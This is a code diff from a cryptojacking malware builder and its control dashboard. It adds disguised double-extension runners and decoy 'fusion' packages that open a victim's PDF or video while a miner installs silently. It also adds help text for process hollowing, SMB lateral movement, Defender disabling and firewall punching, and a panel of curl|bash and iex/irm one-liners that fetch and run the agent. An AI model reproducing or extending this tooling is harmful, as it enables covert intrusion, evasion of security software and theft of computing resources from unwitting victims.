const ext = payloadName.match(/(\.[^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||
if (ext === '.exe' || ext === '') {
|
||||
// Already an exe or no extension — no double-extension trick needed
|
||||
const base = payloadName.replace(/\.[^.]+$/, '') || 'setup';
|
||||
return base + '.exe';
|
||||
}
|
||||
const base = payloadName.replace(/\.[^.]+$/, '') || 'file';
|
||||
return base + ext + '.exe';
|
||||
}
|
||||
|
||||
/** What the disguised Windows file looks like to the user (with ext hiding on). */
|
||||
export function disguisedDisplayName(payloadName: string): string {
|
||||
// Strips the trailing .exe → shows the double-extension name without .exe
|
||||
const runner = disguisedWindowsRunnerName(payloadName);
|
||||
return runner.replace(/\.exe$/i, '');
|
||||
}
|
||||
|
||||
/** Friendly label for a file type based on extension. */
|
||||
export function fusionFileTypeLabel(filename: string): string {
|
||||
const ext = filename.match(/\.([^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||
const labels: Record<string, string> = {
|
||||
pdf: 'PDF document', mp4: 'MP4 video', mkv: 'MKV video', mov: 'MOV video',
|
||||
avi: 'AVI video', doc: 'Word document', docx: 'Word document',
|
||||
xls: 'Spreadsheet', xlsx: 'Spreadsheet', ppt: 'Presentation', pptx: 'Presentation',
|
||||
jpg: 'JPEG image', jpeg: 'JPEG image', png: 'PNG image', gif: 'GIF image',
|
||||
zip: 'ZIP archive', exe: 'Windows executable', dmg: 'macOS disk image',
|
||||
txt: 'Text file', csv: 'CSV file',
|
||||
};
|
||||
return labels[ext] ?? (ext ? `${ext.toUpperCase()} file` : 'file');
|
||||
}
|
||||
|
||||
@@ -3,7 +3,9 @@ const BASE_LABELS: Record<string, string> = {
|
||||
appdata: '%APPDATA%',
|
||||
programdata: '%ProgramData%',
|
||||
userprofile: '%USERPROFILE%',
|
||||
temp: '%TEMP%',
|
||||
home: '~',
|
||||
xdg_data_home: '~/.local/share',
|
||||
temp: '%TEMP% / /tmp',
|
||||
custom: '',
|
||||
};
|
||||
|
||||
@@ -18,12 +20,14 @@ export function previewInstallPath(options: {
|
||||
install_relative_path?: string;
|
||||
worker_name?: string;
|
||||
process_name?: string;
|
||||
target_os?: string;
|
||||
}): string {
|
||||
const targetOs = options.target_os || 'windows';
|
||||
const baseKey = options.install_base || 'localappdata';
|
||||
const base =
|
||||
baseKey === 'custom'
|
||||
? (options.install_custom_base?.trim() || '%CUSTOM%')
|
||||
: (BASE_LABELS[baseKey] || '%LOCALAPPDATA%');
|
||||
: (BASE_LABELS[baseKey] || BASE_LABELS.localappdata);
|
||||
|
||||
const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
|
||||
const process = sanitizeToken(options.process_name || worker, 'miner');
|
||||
@@ -37,6 +41,18 @@ export function previewInstallPath(options: {
|
||||
.replace(/\{process\}/g, process);
|
||||
|
||||
rel = rel.replace(/^\/+|\/+$/g, '');
|
||||
|
||||
if (targetOs === 'universal') {
|
||||
const winFolder = rel ? `${BASE_LABELS.localappdata}\\${rel.replace(/\//g, '\\')}` : BASE_LABELS.localappdata;
|
||||
const unixFolder = rel ? `${BASE_LABELS.xdg_data_home}/${rel}` : BASE_LABELS.xdg_data_home;
|
||||
return `Windows: ${winFolder}\\${process}.exe · Linux/Mac: ${unixFolder}/${process}`;
|
||||
}
|
||||
|
||||
if (targetOs === 'linux' || targetOs === 'darwin') {
|
||||
const folder = rel ? `${base}/${rel}` : base;
|
||||
return `${folder}/${process}`;
|
||||
}
|
||||
|
||||
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
|
||||
return `${folder}\\${process}.exe`;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
|
||||
|
||||
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
|
||||
const UI_REMOTE_ACTIONS = [
|
||||
@@ -16,9 +17,10 @@ const UI_REMOTE_ACTIONS = [
|
||||
'get_log',
|
||||
'powershell',
|
||||
'upload',
|
||||
...AGGRESSIVE_REMOTE_ACTIONS,
|
||||
] as const;
|
||||
|
||||
/** Implemented in agent/client/client.go handleCommand switch. */
|
||||
/** Implemented in agent/client (handleCommand + aggressive_commands). */
|
||||
const AGENT_HANDLED = new Set([
|
||||
'pause',
|
||||
'resume',
|
||||
@@ -40,6 +42,15 @@ const AGENT_HANDLED = new Set([
|
||||
'ipconfig',
|
||||
'clipboard',
|
||||
'wifi',
|
||||
'hole_punch',
|
||||
'hole_punch_close',
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'mesh_status',
|
||||
]);
|
||||
|
||||
describe('remote action wiring', () => {
|
||||
@@ -48,4 +59,15 @@ describe('remote action wiring', () => {
|
||||
expect(AGENT_HANDLED.has(action)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('gates hole punch when capability missing', () => {
|
||||
expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
|
||||
expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
|
||||
});
|
||||
|
||||
it('blocks defender_off on darwin regardless of caps', () => {
|
||||
const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -69,15 +69,17 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
fusion_enabled:
|
||||
'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.',
|
||||
'Fuse the miner with any file — PDF, video, Word doc, image, or executable. When the person opens the fusion package, their file opens normally while the miner installs silently in the background.',
|
||||
fusion_run_order:
|
||||
'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.',
|
||||
'When to open the decoy file vs. install the miner. Parallel = both happen at the same time (recommended — least delay). File first = file opens before miner starts. Miner first = miner installs first, file opens after.',
|
||||
fusion_prep:
|
||||
'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.',
|
||||
'Any file you want to use as a decoy — PDF, video (MP4/MOV/MKV), Word document, spreadsheet, image, or Windows executable. The recipient sees only their normal file; the miner installs silently. Max 2 GB.',
|
||||
fusion_media_mode:
|
||||
'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables/<title>/ — best for full-length films (up to 2GB upload).',
|
||||
'All-in-one (embedded): the file is baked directly into the runner binary — one file to send, best for files under ~500 MB. ZIP bundle (paired): your original file + runners packaged in a ZIP — works for any size file.',
|
||||
fusion_output_name:
|
||||
'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.',
|
||||
'The name of the runner binary inside the ZIP (e.g. report-runner.exe). The recipient runs this to open their file and trigger the install. Leave blank to auto-generate from your file name.',
|
||||
fusion_batch:
|
||||
'Queue multiple files at once — each one produces its own separate universal ZIP. Great for delivering a folder of documents or videos. The recipient only needs to run the launcher for their OS.',
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
@@ -96,4 +98,10 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
|
||||
mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
|
||||
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
|
||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
||||
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
|
||||
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
|
||||
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
|
||||
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
|
||||
};
|
||||
|
||||
@@ -1,196 +1,5 @@
|
||||
import { useEffect, useRef, useCallback, useState } from 'react';
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
} from '../types/ws';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
|
||||
interface UseWebSocketReturn {
|
||||
isConnected: boolean;
|
||||
agents: Agent[];
|
||||
recentShares: Share[];
|
||||
fleetAlerts: FleetAlert[];
|
||||
poolStatus: PoolStatus[];
|
||||
aiActivity: AIActivityEntry[];
|
||||
agentLogs: Record<string, string>;
|
||||
latestMessage: WSMessage | null;
|
||||
}
|
||||
|
||||
export function useWebSocket(): UseWebSocketReturn {
|
||||
const wsRef = useRef<WebSocket | null>(null);
|
||||
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const unmounted = useRef(false);
|
||||
const [isConnected, setIsConnected] = useState(false);
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [recentShares, setRecentShares] = useState<Share[]>([]);
|
||||
const [fleetAlerts, setFleetAlerts] = useState<FleetAlert[]>([]);
|
||||
const [poolStatus, setPoolStatus] = useState<PoolStatus[]>([]);
|
||||
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
|
||||
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
|
||||
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
|
||||
|
||||
const connect = useCallback(() => {
|
||||
if (unmounted.current) return;
|
||||
|
||||
if (reconnectTimer.current) {
|
||||
clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = null;
|
||||
}
|
||||
|
||||
const existing = wsRef.current;
|
||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||
existing.close();
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
||||
|
||||
const ws = new WebSocket(wsUrl);
|
||||
wsRef.current = ws;
|
||||
|
||||
ws.onopen = () => {
|
||||
if (!unmounted.current) setIsConnected(true);
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
ws.onerror = () => {
|
||||
ws.close();
|
||||
};
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const msg = JSON.parse(event.data) as WSMessage;
|
||||
setLatestMessage(msg);
|
||||
|
||||
switch (msg.type) {
|
||||
case 'init': {
|
||||
const data = msg.payload as WSDashboardInit;
|
||||
if (data.agents) setAgents(data.agents);
|
||||
break;
|
||||
}
|
||||
case 'agent_online': {
|
||||
const agent = msg.payload as Agent;
|
||||
setAgents((prev) => {
|
||||
const idx = prev.findIndex((a) => a.id === agent.id);
|
||||
if (idx >= 0) {
|
||||
const updated = [...prev];
|
||||
updated[idx] = { ...updated[idx], ...agent };
|
||||
return updated;
|
||||
}
|
||||
return [...prev, agent];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'agent_offline': {
|
||||
const { agent_id } = msg.payload as WSAgentOffline;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === agent_id ? { ...a, status: 'offline' as const } : a
|
||||
)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
? {
|
||||
...a,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? a.shares_total,
|
||||
shares_good: update.shares_accepted ?? a.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
}
|
||||
: a
|
||||
)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
const share = msg.payload as Share;
|
||||
setRecentShares((prev) => [share, ...prev].slice(0, 50));
|
||||
break;
|
||||
}
|
||||
case 'fleet_alert': {
|
||||
const alert = msg.payload as FleetAlert;
|
||||
setFleetAlerts((prev) => [alert, ...prev].slice(0, 20));
|
||||
break;
|
||||
}
|
||||
case 'pool_status': {
|
||||
const pools = msg.payload as PoolStatus[];
|
||||
if (Array.isArray(pools)) setPoolStatus(pools);
|
||||
break;
|
||||
}
|
||||
case 'ai_activity': {
|
||||
const entry = msg.payload as AIActivityEntry;
|
||||
setAiActivity((prev) => {
|
||||
const idx = prev.findIndex((a) => a.agent_id === entry.agent_id);
|
||||
if (idx >= 0) {
|
||||
const next = [...prev];
|
||||
next[idx] = entry;
|
||||
return next;
|
||||
}
|
||||
return [...prev, entry];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'command_result': {
|
||||
const p = msg.payload as WSCommandResult;
|
||||
const agent_id = p.agent_id;
|
||||
if (agent_id && p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! }));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'agent_log': {
|
||||
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||
if (agent_id) {
|
||||
setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
console.error('Failed to parse WebSocket message:', err);
|
||||
}
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
unmounted.current = false;
|
||||
connect();
|
||||
return () => {
|
||||
unmounted.current = true;
|
||||
if (reconnectTimer.current) {
|
||||
clearTimeout(reconnectTimer.current);
|
||||
}
|
||||
const ws = wsRef.current;
|
||||
if (ws) {
|
||||
ws.onclose = null;
|
||||
ws.close();
|
||||
}
|
||||
};
|
||||
}, [connect]);
|
||||
|
||||
return { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, agentLogs, latestMessage };
|
||||
}
|
||||
// useWebSocket is now a thin wrapper around the shared WebSocketContext.
|
||||
// The actual connection lives in WebSocketProvider (mounted in App.tsx),
|
||||
// so calling this hook from multiple components no longer creates duplicate
|
||||
// WebSocket connections (fixes M12).
|
||||
export { useWebSocketContext as useWebSocket } from '../context/WebSocketContext';
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import type { Agent, HashrateSample, ServerInfo } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
@@ -15,13 +15,68 @@ import {
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
|
||||
const [copied, setCopied] = useState<string | null>(null);
|
||||
|
||||
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
|
||||
|
||||
const copy = (text: string, key: string) => {
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
setCopied(key);
|
||||
setTimeout(() => setCopied(null), 2000);
|
||||
});
|
||||
};
|
||||
|
||||
const ps1 = `iex (irm '${base}/install.ps1')`;
|
||||
const sh = `curl -sL ${base}/install.sh | bash`;
|
||||
const dlWin = `${base}/get?os=windows`;
|
||||
const dlLin = `${base}/get?os=linux`;
|
||||
const dlMac = `${base}/get?os=darwin`;
|
||||
|
||||
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
|
||||
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
|
||||
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
|
||||
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
|
||||
{copied === id ? '✓ Copied' : 'Copy'}
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
|
||||
<span style={{ fontSize: '1.2rem' }}>⚡</span>
|
||||
<div>
|
||||
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Run any of these commands on a remote machine — the agent downloads itself and connects back automatically.
|
||||
No files to transfer manually.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style={{ marginBottom: '0.75rem' }}>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install & run (auto-launches)</div>
|
||||
<Row label="Windows" cmd={ps1} id="ps1" />
|
||||
<Row label="Linux/Mac" cmd={sh} id="sh" />
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
|
||||
<Row label="Windows" cmd={dlWin} id="dlw" />
|
||||
<Row label="Linux" cmd={dlLin} id="dll" />
|
||||
<Row label="macOS" cmd={dlMac} id="dlm" />
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
export default function AgentsPage() {
|
||||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||||
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||
@@ -30,6 +85,7 @@ export default function AgentsPage() {
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [loadError, setLoadError] = useState('');
|
||||
const [logContent, setLogContent] = useState('');
|
||||
const [logLoading, setLogLoading] = useState(false);
|
||||
@@ -43,6 +99,7 @@ export default function AgentsPage() {
|
||||
.then(setAgents)
|
||||
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
|
||||
.finally(() => setLoading(false));
|
||||
api.getServerInfo().then(setServerInfo).catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -173,6 +230,8 @@ export default function AgentsPage() {
|
||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||
</header>
|
||||
|
||||
<QuickDeployPanel serverInfo={serverInfo} />
|
||||
|
||||
{loadError && (
|
||||
<NeonCard accent="amber" className="empty-state">
|
||||
<p>{loadError}</p>
|
||||
@@ -187,7 +246,7 @@ export default function AgentsPage() {
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<div className="empty-icon">⚙</div>
|
||||
<h3>No agents registered</h3>
|
||||
<p>Deploy a miner to a Windows machine and it will appear here automatically.</p>
|
||||
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
@@ -212,7 +271,7 @@ export default function AgentsPage() {
|
||||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||||
onSelect={() => void selectAgent(agent)}
|
||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||
latestWsMessage={latestMessage}
|
||||
commandResults={commandResults}
|
||||
/>
|
||||
))}
|
||||
{filteredAgents.length === 0 && (
|
||||
@@ -272,6 +331,15 @@ export default function AgentsPage() {
|
||||
<span className="detail-label">Version</span>
|
||||
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
|
||||
</div>
|
||||
{(selectedAgent.platform || selectedAgent.os_version) && (
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Platform</span>
|
||||
<span className="detail-value">
|
||||
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
|
||||
{selectedAgent.os_version ? ` — ${selectedAgent.os_version}` : ''}
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">CPU Cores</span>
|
||||
<span className="detail-value">{selectedAgent.cpu_cores}</span>
|
||||
@@ -350,7 +418,7 @@ export default function AgentsPage() {
|
||||
<AgentRemoteActions
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
latestWsMessage={latestMessage}
|
||||
commandResults={commandResults}
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
}}
|
||||
|
||||
@@ -10,6 +10,14 @@ import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
|
||||
import {
|
||||
applyDeliverableType,
|
||||
deriveDeliverableType,
|
||||
deliverableSummary,
|
||||
installBaseOptionsForTarget,
|
||||
normalizeForgeForm,
|
||||
type ForgeDeliverable,
|
||||
} from '../help/forgeFormNormalize';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
@@ -17,12 +25,14 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import { downloadApiFile } from '../api/download';
|
||||
import {
|
||||
isFusionVideoFile,
|
||||
fusionPayloadKind,
|
||||
fusionTitleFromFilename,
|
||||
fusionFileTypeLabel,
|
||||
disguisedWindowsRunnerName,
|
||||
disguisedDisplayName,
|
||||
defaultRunnerName,
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import './Pages.css';
|
||||
|
||||
function formatBytes(n: number): string {
|
||||
@@ -72,6 +82,8 @@ export default function BuilderPage() {
|
||||
} | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
// Set to true to request cancellation between batch iterations
|
||||
const batchCancelRef = useRef(false);
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
@@ -206,6 +218,16 @@ export default function BuilderPage() {
|
||||
setForm(merged);
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
|
||||
// Fusion re-forge requires the payload file — prep files are not kept on the
|
||||
// server after a build completes (M15). Prompt the user to re-upload first.
|
||||
if (merged.fusion_enabled && !fusionPrepFile) {
|
||||
setError(
|
||||
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
const checks = runForgePreflight(merged, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Re-forge preflight failed — adjust settings and forge manually.');
|
||||
@@ -281,25 +303,24 @@ export default function BuilderPage() {
|
||||
if (!f) return;
|
||||
setForm((prev) => {
|
||||
if (!prev) return prev;
|
||||
const video = isFusionVideoFile(f);
|
||||
const mode = prev.fusion_media_mode || 'paired';
|
||||
return {
|
||||
...prev,
|
||||
fusion_payload_kind: video ? 'video' : 'exe',
|
||||
fusion_payload_kind: fusionPayloadKind(f),
|
||||
fusion_media_base_name: f.name,
|
||||
fusion_output_name: video
|
||||
? mode === 'embedded'
|
||||
? defaultEmbeddedName(f.name)
|
||||
: defaultRunnerName(f.name)
|
||||
: f.name,
|
||||
fusion_output_name: defaultRunnerName(f.name),
|
||||
};
|
||||
});
|
||||
};
|
||||
|
||||
const handleBatchForgeMovies = async () => {
|
||||
const handleBatchCancel = () => {
|
||||
batchCancelRef.current = true;
|
||||
};
|
||||
|
||||
const handleBatchForge = async () => {
|
||||
if (!form || fusionBatchFiles.length === 0) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
batchCancelRef.current = false;
|
||||
setBuilding(true);
|
||||
const total = fusionBatchFiles.length;
|
||||
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
||||
@@ -307,6 +328,12 @@ export default function BuilderPage() {
|
||||
let ok = 0;
|
||||
try {
|
||||
for (let i = 0; i < total; i++) {
|
||||
if (batchCancelRef.current) {
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j));
|
||||
setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`);
|
||||
setTimeout(() => setBlueprintMsg(''), 5000);
|
||||
break;
|
||||
}
|
||||
const file = fusionBatchFiles[i];
|
||||
const title = fusionTitleFromFilename(file.name);
|
||||
const pct = Math.round((i / total) * 100);
|
||||
@@ -324,17 +351,17 @@ export default function BuilderPage() {
|
||||
}
|
||||
: j
|
||||
);
|
||||
const mode = form.fusion_media_mode || 'paired';
|
||||
const req: BuildRequest = {
|
||||
const req = normalizeForgeForm({
|
||||
...form,
|
||||
target_os: 'universal',
|
||||
fusion_enabled: true,
|
||||
fusion_payload_kind: 'video',
|
||||
spread_kit: false,
|
||||
fusion_payload_kind: fusionPayloadKind(file),
|
||||
fusion_media_base_name: file.name,
|
||||
fusion_export_subdir: title,
|
||||
fusion_output_name:
|
||||
mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name),
|
||||
fusion_output_name: defaultRunnerName(file.name),
|
||||
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
|
||||
};
|
||||
});
|
||||
const checks = runForgePreflight(req, true);
|
||||
if (preflightHasErrors(checks)) {
|
||||
throw new Error(`Preflight failed for ${file.name}`);
|
||||
@@ -374,7 +401,7 @@ export default function BuilderPage() {
|
||||
);
|
||||
}
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
|
||||
setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`);
|
||||
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
|
||||
setTimeout(() => setBlueprintMsg(''), 6000);
|
||||
setFusionBatchFiles([]);
|
||||
} catch (err: unknown) {
|
||||
@@ -403,7 +430,12 @@ export default function BuilderPage() {
